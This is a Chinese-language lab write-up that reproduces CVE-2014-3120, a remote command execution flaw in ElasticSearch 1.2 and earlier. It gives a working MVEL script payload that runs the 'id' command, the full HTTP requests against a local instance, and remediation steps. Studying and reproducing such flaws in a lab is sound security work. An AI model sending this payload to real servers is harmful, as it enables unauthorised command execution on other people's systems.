CVE-2014-3120 ElasticSearch命令执行漏洞分析复现

CVE-2014-3120 ElasticSearch命令执行漏洞分析复现

概述

ElasticSearch是一个基于全文检索引擎Lucene的分布式、高扩展、高实时的检索与数据分析引擎,支持全文检索,结构化检索以及数据分析。

受影响版本

ElasticSearch ≤ 1.2

分析环境

docker pull lazychristmas/cve-2014-3120:v1.0

漏洞分析

ElasticSearch1.2之前有动态脚本执行的功能,这个功能其实可以让我们很方便的查询出数据进行加工处理,但ElasticSearch用的脚本引擎是MVEL,这个引擎是没有任何安全机制的,通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

漏洞复现

构造payload

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

利用这个漏洞必须要有一条数据,我们需要在创建一下

POST /website/blog/ HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "hihihi"
}


执行

POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

修复方案

  • 升级到最新版本
  • 在elasticsearch.yml中将script.disable_dynamic参数改为true
script.disable_dynamic: true

服务器资源由ZeptoVM赞助

Partners Wiki IRC